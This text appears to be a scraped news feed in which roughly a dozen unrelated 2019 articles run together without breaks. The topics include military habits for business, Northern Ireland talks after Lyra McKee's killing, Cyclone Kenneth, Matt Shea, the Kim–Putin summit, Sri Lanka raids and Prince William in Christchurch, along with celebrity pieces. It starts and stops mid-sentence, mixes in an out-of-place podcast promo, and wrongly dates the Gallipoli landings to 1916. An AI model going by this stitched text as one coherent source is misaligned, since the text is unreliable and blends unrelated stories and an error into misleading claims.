keeping his hair well groomed. I am a firm believer in the importance of first impressions, especially because these days your network is such a crucial component of business. RELATED: CEOs on Their Morning Routines Time Is Valuable You cant buy time, but you can control how you use it. The army emphasises the importance of optimising time management so you can work more effectively because there are high stakes situations where a second could be the difference between life and death, says Hadad. In the real world, its just as important to focus on working effectively and finding ways to optimise to-dos, he says. One of the ways Hadad optimises his time is by waking up at 5 a.m.. When you start adopting this habit, you will notice that by 8 a.m. youve already accomplished a lot, while other people are only starting their day. Let Your Endgame Be Your Drive To use a fighter pilot term: most Americans are very tactical and not strategic, says Buckley. The average American doesn't know what they're doing for lunch today, let alone what their objectives are a year from now. Planning allows us to project our thoughts forward in space and time, so we can influence events rather than react to them, he explains. Buckleys navy training taught him the value of both long- and short-term goals. Most decisions should be dictated by long-term goals dont cut corners to get ahead; keeping your future picture in mind will help you make better business decisions, rather than quick decisions that could hurt you in the long run. Russell Benes, who served in the Navy for eight years and is now the owner of PuroClean Emergency Restoration Services also underlines the importance of taking a macro approach to planning. During my time in the service, we often went months without having a day off. In life, I believe its important to see the bigger picture and I know that if I work hard, I will achieve my long-term goals. Pain Is Just a Feeling No matter how intense, pain is temporary, says Hadad, whether its physical pain whether from workouts, Krav Maga, or in the field. A thought that helped me during these times was remembering that pain is only a feeling. Its easy to stop once you start feeling pain, but your body can go through much more than you think, he says. The military teaches you how to separate yourself from the feeling of pain and objectively look at a situation. This translates into my everyday life in many ways such as when I work out I can always push past the pain of muscle soreness knowing that the mind always wants to give up before the body. Fuel Properly Not only will hydrating with water help to keep you trim (people often confuse dehydration with hunger), its crucial for energy and mental sharpness. Drinking plenty of water is a daily habit I picked up in the army because its something thats consistently emphasised, says Hadad. If you dont drink enough, you will tire and this will affect your overall performance both physically and mentally. Seeing firsthand the effects of fueling properly is what motivated Joe Lopez-Gallego, a former Army Captain and now CEO of Kettlebell Kitchen, to start his own business. Being a part of the military is a test of mental and physical strength, and you cant expect to perform your best in either of those categories if youre not fueling your body properly. His experience inspired him to start Kettlebell Kitchen to make quality nutrition more readily available. Joe Lopez-Gallego RELATED: Sensible Career Advice to Become Successful Cold Showers Have Value There are many benefits to cold showers, as unpleasant as they may be. Tim Ferriss put them in the spotlight for helping to burn fat, but Hadad found that the effects go far beyond the physical. I remember one winter post-workout getting in the shower only to realise the boiler was broken and the water was freezing, says Hadad. He didnt want to go to bed dirty so after a second of contemplation he decided to shower in the freezing cold. I remember screaming for the first few seconds, but after a few more seconds of controlled breathing I got used to the water. After finishing the shower, I felt more awake and focused than I had in a long time, he says. Now, Hadad regularly incorporates cold showers into his routine, and recommends trying them if you wake up on the wrong side of the bed, want to be more focused, or if you want to train yourself to get out of your comfort zone. Camaraderie Is Key for Success Ive been competitive and independent my entire life, says former United States Marine Corp Sergeant and founder of the Kirstie Ennis Foundation, Kirstie Ennis. But the Marine Corps taught her to think two steps ahead and consider the wellbeing of everyone around her. Now, I always put peoples needs ahead of my own, especially when it comes to mission accomplishment, because without good morale, the process to completion always takes longer. The values of camaraderie also translate into team building. In the military, our squadron was structured with people that complemented each other based on their abilities, says Benes. This holds true in my PuroClean business today as I understand the importance of hiring people with qualities that work well together. By maximising each of the team members abilities and potential, hes able to build a solid team. While your average day might look vastly different from that of a soldier,there are many military-inspired skills and lessons that can be applied across the board. From the importance of routine to maintaining awareness, you can easily incorporate these lessons into your personal and professional life. Be Responsible for Your Own Actions A good leader does not just tell everyone what to do, they lead by example, says Buckley. Rather than leaning on the work of others, you should set out to be as self-sufficient as possible, he says, so that you hold yourself accountable for your own actions. As a leader, however, you are often responsible for building a team and when that is the case, Buckley says trust and reliability are key no matter the industry. Debrief, Debrief, Debrief Buckley explains that post-combat, soldiers are required to debrief their mission, analysing the strategy and all of the moving parts. What worked? What didnt? Incorporate this same debriefing technique into your business strategy or even your personal life, says Buckley. After each product launch, event, or marketing campaign, take time with your team to review your successes, failures, and oversights, he says. Doing so may shed light on things you didnt notice or realise. Then, you can use your learnings as a stepping stone for future ventures. Establish and Implement a Red Team In the military, the Red Team is a group of soldiers who assume the position of the enemy in order to seek out vulnerabilities in a mission or strategy, explains Buckley. In business, your Red Team can play a similar role, taking on an adversary position to seek out weaknesses and limitations in your plans. Buckley sees having a Red Team as a key way to making critical thinking and evaluation part of the planning process in which they break down your plan, piece by piece. This helps identify everything that can go wrong, ultimately giving you the opportunity to make a bulletproof plan, he says. You Might Also Dig: UK prime minister Theresa May with her Irish counterpart Leo Varadkar after the funeral service of journalist Lyra McKee in Belfast. Photo: AP UK prime minister Theresa May and her Irish counterpart Leo Varadkar have agreed to establish a new five-week process aimed at restoring the Northern Ireland executive for the first time since January 2017. The move comes in the wake of the murder last week of journalist Lyra McKee in Londonderry, and a poignant call to action by a priest officiating at her funeral. In a joint statement released by both governments, May and Varadkar said they heard the unmistakable message at McKees funeral for political leaders to create new momentum for political progress. In coming together with other political leaders in St Annes Cathedral to pay tribute to Lyra McKee, we gave expression to the clear will and determination of all of the people of these islands to reject violence and to support peace and a better future for everyone in Northern Ireland, the statement said. Northern Ireland has been without an executive for more than two years due to a political stalemate between the Democratic Unionist Party (DUP) and Sinn Fein. The talks will involve all the main political parties in Northern Ireland, together with the UK and Irish governments, the statement said. The aim of these talks is quickly to re-establish to full operation the democratic institutions of the Belfast/Good Friday Agreement the [Northern Ireland] Executive, Assembly, and North-South Ministerial Council so that they can effectively serve all of the people for the future. The New IRA, one of a handful of groups that oppose the 1998 Good Friday Agreement, has claimed responsibility for the death of McKee, which occurred during an Irish nationalist militant riot in the Creggan area of Londonderry on Good Friday. Her killing has not only sparked outrage in Northern Ireland, but has also demonstrated how fragile peace in the region is. The 1998 agreement ushered in some 20 years of relative stability, following three decades of clashes between unionist and republicans, known simply as the Troubles, that took the lives of more than 3,600 people. Story continues Martin Magill, a Catholic priest, was given a standing ovation during a eulogy delivered at McKees funeral when he asked why, in Gods name, does it take the death of a 29-year-old woman, with her whole life in front of her to get politicians to come together. The collapse of the Northern Ireland executive in 2017 followed a scandal involving a failed renewable energy incentive scheme known as the Renewable Heat Incentive. But talks have not progressed for a number of reasons, including Sinn Feins objections to both the DUPs use of a parliamentary mechanism to prevent the introduction of same-sex marriage and its position on the Irish language. Both parties also fundamentally disagree about Brexit, with the DUP staunchly in favour of the UKs departure from the EU, and Sinn Fein opposed. This has meant that though the DUP props up Mays government in the House of Commons, Northern Ireland has been without a government in the midst of Brexit negotiations that directly impact it. By Manuel Mucari and Ali Amir Ahmed MAPUTO/MORONI (Reuters) - Cyclone Kenneth battered northern Mozambique on Thursday with gusts of up to 280 km per hour (174 miles per hour) after killing three people on the island nation of Comoros overnight. Impoverished Mozambique is still recovering from another powerful tropical cyclone which made landfall further south last month, flattening the port city of Beira and killing more than 1,000 people across a swathe of southeastern Africa. A regional cyclone-monitoring centre on the French island of La Reunion said Kenneth made landfall at around 1430 GMT north of the port city of Pemba and was expected to weaken as it moved inland. The storm caused storm surges of up to five metres (16.4 feet) in some areas and rains associated with it could cause serious flooding, the centre said. "Kenneth remains an extremely dangerous system which is currently severely impacting regions to the north of Pemba," the centre's latest cyclone report said. A spokesman for Mozambique's National Institute of Disaster Management (INGC) said the government had evacuated 30,000 people from areas likely to be hit by the cyclone. "The compulsory evacuation process will continue until we have all people in secure ground," INGC spokesman Paulo Tomas said. The INGC said it had food supplies ready to assist 140,000 people for 15 days. Mozambican officials said on Wednesday more than 680,000 people were at risk from the latest storm. There were concerns that five rivers and coastal waterways could burst their banks, leading to severe flooding. Government and humanitarian officials did not anticipate the extent of the flooding in the wake of Cyclone Idai last month, and an early warning system implemented did not reach everyone. Antonie Beleza, deputy national director of Mozambique's Centre for Emergency Operations, told Reuters that this time around the centre had been telling people for days to move out of 17 at-risk districts. Story continues Saviano Abreu of the United Nations humanitarian arm OCHA said the U.N. and non-governmental organisations were assisting the government with a preparedness strategy. Cyclone Kenneth is expected to linger over Mozambique, dumping rain until late on Monday evening and bringing the risk of more intense flooding, said Dipuo Tawana, forecaster at the South African Weather Service. GRAPHIC: Cyclone Kenneth - https://tmsnrt.rs/2GGJvWk REGIONAL IMPACT In neighbouring Zimbabwe, where hundreds died in heavy rains following Cyclone Idai, the civil protection department sent out a warning that some areas near the eastern border with Mozambique could be affected by the cyclone. It said people living in low-lying areas including in Masvingo province, Chimanimani, Chipinge, Mutoko, Mudzi and Gokwe North should be on high alert. U.S. energy firm Anadarko, which is developing large natural gas fields off Mozambique, said it had suspended air transportation in and out of its site as a precaution. Exxon Mobil, also involved in gas fields offshore Mozambique, said it was monitoring the situation. In Comoros early on Thursday, felled trees and debris from homes were scattered over streets, and houses had their roofs torn off. The winds caused widespread power outages in the northern part of the main island, Grande Comore, and the capital Moroni as well as on the island of Anjouan, residents said. Government offices and schools were closed. Kenya Airways said on its Twitter feed it had cancelled flights to Moroni because of severe weather. (Additional reporting Emma Rumney, Alexander Winning and Alexandra Zavis in Johannesburg, Stephen Eisenhammer in Luanda and Nelson Banya in Harare; Graphic by Lea Desrayaud; Writing by Alexander Winning; Editing by Kevin Liffey and Sandra Maler) Republican Rep. Matt Shea sits at his desk on the House floor on Friday, April 26, 2019, in Olympia, Wash. Shea has been dogged this week by the release of text messages from 2017 in which he appeared to condone surveillance and even violence against political enemies. House Republican leaders say they will conduct a review of Shea after the current legislative session ends. (AP Photo/Rachel La Corte) OLYMPIA, Wash. (AP) Republicans in the Washington state House of Representatives will conduct a review of the actions of a controversial state representative who reportedly suggested spying on political enemies. Rep. Matt Shea, R-Spokane Valley, has been dogged this week by the release of text messages from 2017 in which he appeared to condone surveillance and even violence against opponents. "I want to understand these allegations as thoroughly as possible," House Republican Leader J.T. Wilcox of Yelm, surrounded by his leadership team, told reporters Friday. Wilcox said he doesn't know yet what such a review would entail, but they "have a responsibility to the truth." Lawmakers are racing to finish a two-year state budget, and Wilcox said his constituents expect him to first focus on that matter. When asked about the specifics of the texts, Wilcox said: "I and this whole caucus have spoken repeatedly about the fact that we condemn that language. We don't want to be associated with that language." Shea, who rarely speaks to the press, did not return a message from The Associated Press seeking comment. The Guardian newspaper previously reported it had obtained the contents of chats from 2017 involving Shea and three other men proposing to confront leftists with a variety of tactics, including violence, surveillance and intimidation. That report prompted Democrats to demand Republicans expel Shea from their caucus. Shea, a lawyer, posted a statement on his personal Facebook page late Monday calling the story "an extremely misleading hit-piece." In the chats printed by The Guardian, Shea appeared to offer to perform background checks on political opponents. He did not appear to disagree when others suggested violence. While numerous Democrats called for Shea to be expelled from the GOP caucus, Wilcox said Shea did not make any of the threats of violence in the group chat. The chats on the messaging app Signal took place in the days leading up to a supposed left-wing revolt in November 2017 that never occurred. Story continues All of the men used screen aliases. The Guardian said it obtained the chats from an informant and confirmed the identity of those in the chat, including Shea, by cross-checking phone numbers attached to the Signal accounts. Apart from violence, the men extensively discussed tactics of surveillance and intimidation, the story said. In response to a request in the chat for background checks on Spokane residents, Shea volunteered to help, going on to name three individuals, the newspaper reported. On Thursday, a Spokane television station reported that a group chat involving Shea was originally titled in Russian in a phrase that means "The White Movement." KHQ-TV said the chat logs from 2017 were provided to the station by two Shea associates who wish to remain anonymous. Gonzaga University professor Kevin O'Connor told the station the White Movement, also known as the White Armies, was "anti-Semitic in nature," but was not the same as the white supremacist movements in the United States. He said the White Armies wanted to resurrect the old Russian Empire, but also attacked Jewish communities. O'Connor said the White Movement was a major influence on Nazi Germany and Adolf Hitler. "We take any charges involving things like racism very seriously," Wilcox, the GOP leader, said. Shea, who represents a deeply conservative district, has served in the state House since 2008, and has embraced far-right conspiracy theories, mingled with militia groups and visited right-wing activists who seized a wildlife refuge in Oregon in 2016. The military veteran attracted international attention in 2018 after a document he wrote laid out a "biblical basis for war" against people who practiced same-sex marriage and abortion and instructed: "If they do not yield, kill all males." Shea lost some political donors and was stripped of his role as chair of the Republican caucus after that. But he has since introduced bills to criminalize abortion and roll back gun laws. He has also pushed for eastern Washington to secede from the rest of the state and create a 51st state called Liberty. ____ Geranios reported from Spokane, Washington. FILE PHOTO: Reporters are seen in front of Parliament Buildings at Stormont in Belfast FILE PHOTO: Reporters are seen in front of Parliament Buildings at Stormont in Belfast, Northern Ireland February 12, 2018. REUTERS/Clodagh Kilcoyne By Amanda Ferguson and Padraic Halpin BELFAST/DUBLIN (Reuters) - The British and Irish governments announced on Friday a resumption of talks to restore Northern Ireland's devolved government, spurred into ending a hiatus in dialogue of more than a year by the killing of a journalist last week. The British-run province has been without a devolved executive for over two years since Irish nationalists Sinn Fein withdrew from the compulsory power-sharing government with the pro-British Democratic Unionist Party (DUP). But the shooting dead last week of 29-year-old reporter Lyra McKee during rioting by militant Irish nationalists has raised pressure on the parties from voters and the two governments to re-establish the regional government that is central to Northern Ireland's 1998 peace agreement. "We are leaving far too much wide open space for other kinds of voices that don't believe in democracy, that peddle hate and fear," Irish Foreign Minister Simon Coveney told a joint news conference with his co-broker of the talks, Britain's Northern Ireland minister Karen Bradley. "People have no patience for another show of a process or talks that go on and on and on, and then in the end go nowhere. We've had enough of that. It needs to be different this time." The talks will begin on May 7 after local elections in the province with the aim of concluding well in advance of mid-July, when annual parades often raise tensions between pro-British Protestants and Irish nationalist Catholics, Coveney said. At McKee's funeral on Wednesday, Roman Catholic priest Father Martin Magill received a spontaneous standing ovation when he made a direct appeal to the politicians in the church to use McKee's death as a catalyst to start talking again. "There are moments in politics when things change. I think the emotion of the last week has given a spark to the process," Coveney said. "We'd be very foolish if we allowed that time to pass." Story continues Attempts to find a compromise have been complicated by poor relations between Sinn Fein and the DUP, the DUP's role in propping up May's minority government in London, and the impact on the region of Britain's planned exit from the European Union. The talks most recently collapsed in February last year when Sinn Fein said that they had reached an accommodation with the leadership of the DUP that put an agreement within reach but that the DUP failed to close the deal and collapsed the talks. While both sides welcomed the talks, neither have shown much willingness to budge in recent days, despite the pressure. "Anyone who thinks agreement can be reached through a one-sided wish-list being implemented is not routed in reality," DUP leader Arlene Foster, who cited Sinn Fein's call for additional rights for Irish-language speakers as the main reason for the impasse last time, said in a statement. Sinn Fein's leader in Northern Ireland, Michelle O'Neill, said the talks had to deliver on rights-based issues so that all people in the province are "treated equally." "Nothing's changed in terms of what we need to deliver on. We can't acquiesce in the denial of rights," she told reporters. (Editing by Kate Holton and Toby Chopra) North Korean leader Kim Jong Un has boarded his private train and headed back to Pyongyang after directing some harsh criticism at Washington during his first summit with Russian President Vladimir Putin. Mr Kim said the US negotiated in bad faith when he met with President Donald Trump in Hanoi two months ago. Mr Kim left about four and a half hours earlier than planned, Russian news agencies reported. It was not immediately known why he decided to return from Vladivostok early. Russian guards pass North Korean leader Kim Jong Uns limousine (Alexander Khitrov/AP) Mr Putin, who indicated he may be interested in playing a bigger role in breaking North Koreas stand-off with Washington, had already left for a two-day meeting in Beijing. The Kremlin intends to brief the US on the contents of the summit as soon as the Russian delegation returns to Moscow, deputy foreign minister Sergei Ryabkov told the RIA Novosti news agency. Mr Putin said he will also brief Chinese leaders on his talks with Mr Kim. Before leaving Vladivostok, Mr Kim visited a park near the headquarters of the Russian navys Pacific Fleet for a wreath-laying ceremony that was held two hours later than expected. Kim Jong Un attends a wreath-laying ceremony in Vladivostok, Russia (Alexander Khitrov/AP) Mr Kim also had lunch with the local governor and businessmen and women on the outskirts of town before going to the main railway station. Following their talks on Thursday, Mr Putin said Mr Kim is willing to give up nuclear weapons, but only if he gets ironclad security guarantees supported by a multi-national agreement. Mr Kim strongly criticised Washington for taking a unilateral attitude in bad faith at his February meeting with Mr Trump in Hanoi said that caused the diplomatic standstill, North Koreas state-run Korean Central News Agency said on Friday. He also told Mr Putin the situation on the Korean Peninsula has reached a critical point and whether tensions resume will entirely depend on the US future attitude. Russian guards officers carry a red carpet past the motorcade of North Korean leader Kim Jong Un (Alexander Khitrov/AP) The agency said Mr Putin credited Mr Kims diplomatic initiatives for stabilising the situation surrounding the peninsula and accepted Mr Kims invitation to visit North Korea at a convenient time. Story continues No specific measures from the summit have been reported by either side and the leaders comments suggest there has been no significant shift in Mr Kims basic position. North Korea has all along contended that it needs its nuclear arsenal to defend itself against what it sees as US hostility and wants concrete reassurances of its safety including the removal of the American nuclear threat as an integral part of the denuclearisation of the entire Korean Peninsula. Mr Trump has voiced hope that Mr Putins involvement could help his efforts to get Kim to abandon his nuclear arsenal. But it could also complicate matters, since Moscow has been critical of sanctions on North Korea and has called on Washington to provide more security guarantees. After Thursdays talks, Mr Putin suggested the revival of a multilateral approach to the denuclearisation negotiations. North Korean leader Kim Jong Un, left, arrives at the railway station (Alexander Khitrov/AP) A similar approach, which Russia participated in, broke down in 2009. Along with a statement of political support, Mr Kim was also looking for some kind of economic support and possibly even a workaround for sanctions that will require more than 10,000 North Korean labourers in Russia to leave by the end of the year. The labourers are a major source of income for North Korea. Mr Putin said they discussed the issue and would find a solution taking into account humanitarian factors, though he did not say what that would be. Vladimir Putin will brief US leaders on his talks with Mr Kim (Alexei Nikolsky/AP) Motorists in the Russian port city breathed a sigh of relief at Mr Kims departure. Traffic in the city of half a million had been severely disrupted since Mr Kims arrival on Tuesday. Just like two days earlier, traffic was completely blocked in the city centre during the send-off ceremony for Mr Kim. Police investigating the murder of journalist Lyra McKee in Londonderry have released new footage of the man they think killed her. The 29-year-old was shot in the head on April 18 during rioting on the Creggan estate. The New IRA has admitted responsibility for her murder. Police Service Northern Ireland (PSNI) have now appealed for help in identifying the suspect and his associates. The suspected killer is described as "stocky" (PSNI) PSNI Detective Superintendent Jason Murphy said the crowd in Creggan that night were in their teens and early 20s, and he believes the killer is a teenager. He said: I want to find the people who murdered Lyra and I believe the information that can help us bring those responsible to justice lies within the local community. "Approximately 100 people were on the ground on the night Lyra was murdered people saw the gunman and his associates. I think people within the community know who they are. Im asking them to come forward and help us." Read more: Ram-raid thieves smash into jewellers Tiffany & Co then flee with haul from window display Lottery bosses probe criminals' 4million jackpot win over fears stolen debit card was used to buy ticket Police officer stabbed repeatedly on his doorstep 'targeted by criminal gang he infiltrated' The footage, filmed about a minute before the fatal short was fired, shows three men walking across Central Drive, the tallest of whom is carrying a crate of petrol bombs towards the crowd. The second tallest is wearing dark jeans and Nike trainers and has a scarf camouflaging his face. One of the suspects is seen carrying a crate of petrol bombs (PSNI) Detective Superintendent Jason Murphy said the shortest of the three, who he describes as "stocky", is their main suspect: "Its my belief he is the gunman that fired indiscriminately into the crowd, placed the community and police officers at risk and took the life of Lyra," he said. "People know who he is. I recognise people living in Creggan may feel its difficult to come forward to speak to police. I want to provide a personal reassurance that we are able to deal with these concerns sensitively." Story continues He added: "At Lyras funeral on Wednesday we heard many messages about the potential for a better future but as I have said previously, such sentiment will all be in vain if collectively we cannot tackle the malign influence that some individuals continue to exert over our communities." The final suspect's Nike trainers were clearly visible (PSNI) So far 140 people have provided images, footage and other details to police, he said - but more is needed. "Such information simply gets me through the door but it doesnt get me to a courtroom. I need people to contact my team, to talk to us about what they know. I would urge anyone who has any information, or who witnessed the murder, to contact the police on 101. "Or if someone would prefer to provide information without giving their details, they can contact the independent charity Crimestoppers and speak to them anonymously on 0800 555 111." The bodies of 15 people, including six children, have been discovered at the site of a fierce gun battle between soldiers and suspects linked to the Easter Sunday bombings in Sri Lanka, a military spokesman has said. It comes as extra UK flights have left Sri Lanka this morning to take British tourists home. The shootout began on Friday night in the coastal town of Sammanthurai, 200 miles from the capital, Colombo, after police tipped off soldiers to a suspected safe house. Military spokesman Sumith Atapattu said that as troops headed towards the site three explosions were triggered and gunfire began. "Troops retaliated and raided the safe house where a large cache of explosives had been stored," he said in a statement. He said the militants were suspected members of the National Towheed Jamaat, which has been blamed for last Sunday's attacks. A police spokesman said that three suspected suicide bombers were among the 15 dead after the gun battle. Meanwhile, the military said security forces have recovered explosives, detonators, "suicide kits," military uniforms and Islamic State group flags during the raids. In the same area, police officers acting on information from intelligence officials have found 150 sticks of blasting gelatin and 100,000 small metal balls used to increase shrapnel in explosions, as well as a van and clothing suspected to have been used by those involved in the Easter attack. Since the suicide bombings at three churches and four hotels on Easter Sunday, in which more than 250 people were killed, police have been carrying out raids across Sri Lanka to find more details about the perpetrators and their supporters. Islamic State has claimed responsibility for the attacks and Sri Lankan police are searching for suspects thought to have links with the terror group. Police have detained at least 76 people, including foreigners from Syria and Egypt, in their investigations so far. Catholic churches in Sri Lanka cancelled all Sunday Masses until further notice over fears of more attacks. Story continues On Friday, Sri Lanka's prime minister Ranil Wickremesinghe apologised for failing to protect the victims of the bombings. He wrote on Twitter: "We take collective responsibility and apologise to our fellow citizens for our failure to protect victims of these tragic events. "We pledge to rebuild our churches, revive our economy, and take all measures to prevent terrorism, with the support of the international community." :: Blood on the walls and torn-up pews - inside bombed Sri Lanka church Sri Lankan President Maithripala Sirisena said the country had the ability to "completely control the situation in the next few days". Sky's Asia correspondent Tom Cheshire, who is in Colombo, said: "That's hardly reassuring, the idea that maybe in the next few days they will have things under control." Sri Lanka's health ministry revised down its estimated death toll from 359 to 253 on Thursday. While most of those killed were Sri Lankans, officials say more than 30 foreigners died in the blasts - including eight Britons. Nine suicide bombers carried out the attacks in seven locations in Colombo, the western city of Negombo and the eastern city of Batticaloa. A photograph obtained by Sky News showed a suspected suicide bomber who studied in Britain , according to a security source. After the UK's foreign office advised Britons not to travel to Sri Lanka in the wake of the attacks, travel operator TUI UK will fly all of its customers on holiday in Sri Lanka back home today. Sky's Asia Correspondent who is Colombo has said that it is still a "tense situation" in Sri Lanka. He added "even though that security operation is on going, and even though the churches... are being cleaned up, we've seen lots of people from the navy going in, getting hoses out, trying to get rid of the carnage and removing the pews - this isn't done yet." Meanwhile, police in Sri Lanka are providing patrols to protect Muslims who are fearful of reprisal attacks. New Zealand has shown the world it will not be divided in the wake of the devastating Christchurch mosque shootings, the Duke of Cambridge has said. In a moving speech at the Masjid Al Noor in Christchurch, where 42 people lost their lives, William hailed the example set by the country as it continues to come to terms with the tragedy. On the 15th of March, tragedy unfolded in this room, he said. A terrorist attempted to sow division and hatred in a place that stands for togetherness and selflessness. He thought he could redefine what this space was. Im here to help you show the world that he failed. William meeting families at the mosque in Christchurch )New Zealand Department of Internal Affairs/PA) Describing the shootings as an unspeakable act of hate, the duke said he couldnt believe the news when he woke up on the morning of March 15. But he praised those who rushed to help, those who dropped everything and put their own lives on the line to save others, and those who were there for people in their time of need. To the people of New Zealand and the people of Christchurch, to our Muslim community and all those who have rallied to your side: I stand with you in gratitude for what you have taught the world these past weeks, he said, adding that people of all faiths and backgrounds could learn from their example. He also hinted at his own grief following the death of his mother Diana, saying: Ive had reason myself to reflect on grief, sudden pain and loss in my own life. What Ive realised is that of course grief can change your outlook, you dont forget the shock and sadness or pain, but I do not believe grief changes who you are. Grief, if you let it, will reveal who you are. It can reveal depths you did not know you had. "Extremism in all its forms must be defeated. The message from Christchurch and the message from Al Noor and Linwood mosques could not be more clear: the global ideology of hate will fail to divide us." The Duke of Cambridge pic.twitter.com/hwG3QU4MFa Kensington Palace (@KensingtonRoyal) April 26, 2019 This is what happened here. An act of violence was designed to change New Zealand, but instead the grief of a nation revealed just how deep your wells of empathy, compassion, warmth and love truly run. Story continues New Zealanders had other plans than falling victim to the division the terrorist hoped to sow, he added. In a moment of acute pain, you stood up and you stood together. In reaction to tragedy you achieved something remarkable, he said. William also hailed prime minister Jacinda Ardern, who has drawn worldwide praise since the attacks, for showing extraordinary leadership of compassion and resolve in the wake of the shootings. William was accompanied by prime minister Jacinda Ardern (wearing a cream-coloured headscarf on the right) (Joseph Johnson/Pool via AP) Farid Ahmad, who lost his wife Husna Ahmad in the attack on the Al Noor mosque, broke down as he welcomed William. Right now my heart is aching, he said. Im feeling the pain. I lost my wife, I lost many people here. I would like to say to the victims, you are not alone. We share your pain and we are together. Your royal highness, you are an inspiration for the world, he added. The Duke of Cambridge is visiting Al Noor Mosque to meet Imam Gamal Fouda and Muslim community families impacted by the Christchurch mosques terrorist attack in New Zealand. pic.twitter.com/dHhSfvu74z Kensington Palace (@KensingtonRoyal) April 25, 2019 We pray for you, that may Allah make you a shining light to inspire people in the world towards peace, security and safety and hope. Outside the mosque, where dozens of floral tributes provide a visual reminder of the solidarity shown in the wake of the attacks, members of the Muslim community told of the comfort the dukes visit had brought. Children played freely on the grass, where just weeks earlier unimaginable horror had unfolded during a peaceful moment of prayer. William later travelled for a private visit to Linwood mosque, which was also attacked. A total of 50 people were killed in the shootings at the two locations, while dozens more were injured. Earlier on Friday, William visited Christchurch Hospital to meet the staff who had helped save some of the wounded. Hospital chiefs have previously told how surgeons and staff worked through the night to treat the injured. William was received by Imam Gamal Fouda (Joseph Johnson/Pool Photo via AP) William also met five-year-old survivor Alen Alsati on the first day of his visit, after the youngster awoke from a coma earlier this week. Kensington Palace shared a video of a touching moment between the pair during the private meeting at Starship Childrens Hospital in Auckland. Concluding his brief visit to New Zealand, William laid a wreath at the Oi Manawa Canterbury Earthquake National Memorial before meeting members of the public who had turned out to greet him. Your first responders apprehended the killer and immediately worked to save lives in the most challenging of circumstances. The Duke of Cambridge, on the response to the Christchurch mosques terrorist attack. pic.twitter.com/AoKaUxySBI Kensington Palace (@KensingtonRoyal) April 26, 2019 He spent about half an hour chatting to the cheering crowd before leaving with a smile and a wave. Throughout his visit, those who have met him have told how he has brought great comfort and reassurance to people of New Zealand in their time of need. Yahoo Celebrity UK Kate Thornton relives the past year at White Wine Question Time, from Gary Barlow FaceTiming Elton John in lockdown, to Hannah Waddingham and Ellie Taylor spilling the tea about working on the multi-award winning Ted Lasso. Listen in to recall some of the stand out moments.White Wine Question Time with Kate Thornton is the podcast that brings together well-known guests to answer three thought-provoking questions over three glasses of wine. Discover the friendships behind the entertainment headlines, and listen in on their conversations for a side to the celebrities you've never heard before. Listen on Apple Podcasts, Spotify or wherever you get your podcasts, and follow on Instagram (@whitewineqt) & Twitter (@WhiteWineQT) to keep up to date with the latest guests, news and more! Photo credit: Mark Cuthbert - Getty Images From Good Housekeeping The Duchess of Cambridge stepped out looking chic in teal for an appearance at Westminster Abbey on Thursday (25 April) morning alongside her brother-in-law, Prince Harry. The royals are attending the annual Anzac Day service of Commemoration and Thanksgiving to honour the sacrifice of the armed forces of Australia and New Zealand. Photo credit: Mark Cuthbert - Getty Images Kate chose a deep blue coat by one of her go-to designers, Catherine Walker, for the occasion, worn with a matching hat reportedly by Rosie Olivia. The duchess completed her look with dark green pumps and a coordinating clutch bag. She and Harry looked relaxed and were all smiles as they arrived at the Abbey together. The dad-to-be's appearance may suggest that his wife, Meghan Markle, has yet to give birth to their first child. Photo credit: Samir Hussein - Getty Images Meghan and Harry announced earlier this month that they would "keep the plans around the arrival of their baby private". The statement, shared by Buckingham Palace on 11 April, continued: "The Duke and Duchess look forward to sharing the exciting news with everyone once they have had an opportunity to celebrate privately as a new family." Meanwhile, Prince William is visiting New Zealand to honour Anzac Day, and attended a service in Auckland. Anzac Day (25 April) marks the anniversary of the WWI Gallipoli landings in 1916. ('You Might Also Like',) US actress Olivia Munn poses for a photocall during the 2019 Cannes International Series festival at the Palais des festival, in Cannes [Photo: Getty] Words by Erin Donnelly. Olivia Munn is taking on the fashion police. The actress has posted an essay in which she takes the Go Fug Yourself blog which rates celebrity fashion, some of which is deemed f*****g ugly, or fugly to task for what she called ugly behaviors and blatant hypocrisy. Munn herself has been featured on the blog run by writers Heather Cocks and Jessica Morgan. Last week, they weighed in on the striped Peter Pilotto suit she wore to a gala for the Asian non-profit Apex For Youth, commenting, This is just kinda like she got roped into making a sequel to American Hustle that ended up going straight to on-demand. Things could be worse. And on April 9, Morgan posted that the frilly Schiaparelli dress Munn wore in Cannes, France made her look like she was peeing a wedding veil. While the X-Men: Apocalypse star noted in her post that while celebrities often get picked apart and its futile to try fighting it, she accused The Fug Girls (as Cocks and Morgan are known) of contributing to the perpetual minimisation of women and [propagating] the idea that our worth is predominately (or singularly) tied to our looks. Their blatant hypocrisy is nauseating, she added, saying the blog targets women more than men. They claim to employ some sort of subjective barometer for goodness and beauty even though what they do and write is neither good nor beautiful. Blogs like theirs have been around for a while, with their snarkiness and hypocrisy on full display, she continued. And weve accepted it because as women weve been conditioned to believe that being publicly chastised for our weight, our looks or our choice in clothing is an acceptable part of our existence. Weve been conditioned as women to feel that we must look and dress a certain way to be accepted. If theres anything weve been able to glean from the past two years, its that girls and women have been emotionally and physically targeted and abused for years yet have remained silent because collectively we all believed that our voices, our pain, our existence only mattered with conditions attached. Story continues She went on to accuse The Fug Girls of participating in the suppression of women while alluding to the #TimesUp movement. Just because youre a woman doesnt mean youre not part of the problem, she wrote. The world woke up in 2017 but you stayed sleeping. She also wrote that people shouldnt get away with spewing whatever vitriol they want just by betting on the antiquated notion that the people they target wont say anything. Celebrities have rallied around Munns statement, which fetched likes from Ariel Winter and Mahershala Ali, while Thomas Sadoski commented, Thats my homegirl right there. F**k yes. Love this so much, a fan wrote. Women should be building each other up! And for the record your style is always on point, so clearly they have bad taste anyway. Don't even know why those fugly ladies have the right to judge others, read another comment, which Munn responded to with a 100 percent emoji. Instead of trashing your choice of wardrobe they should write about Apex. But some defended the blog and said Munn was misrepresenting it as antifeminist. I don't think your assessment is fair, a commenter wrote. Their blog is never about women's bodies or looks. It's about fashion choices. It's inclusive in every way possible while never pandering. There are few places on the internet I can go where I know I'm going to see something fun and lighthearted, usually with great and hilarious writing. They do an incredible amount of work to keep the comments constructive and never mean. I would not want my clothes criticised. I understand that being a famous person whose fame depends partly on being photographed doesn't mean you don't have feelings, and clearly yours were hurt. But part of your job is to wear clothes and be photographed. Critiquing those choices is not antifeminist when it's a recognition that you are using the tools available to you to send certain messages. TL;DR I think your attack is grossly misplaced. The Fug Girls have not yet commented on Munns post. Uprooted Palestinians are at the heart of the conflict in the M.E Palestinians uprooted by force of arms. Yet faced immense difficulties have survived, kept alive their history and culture, passed keys of family homes in occupied Palestine from one generation 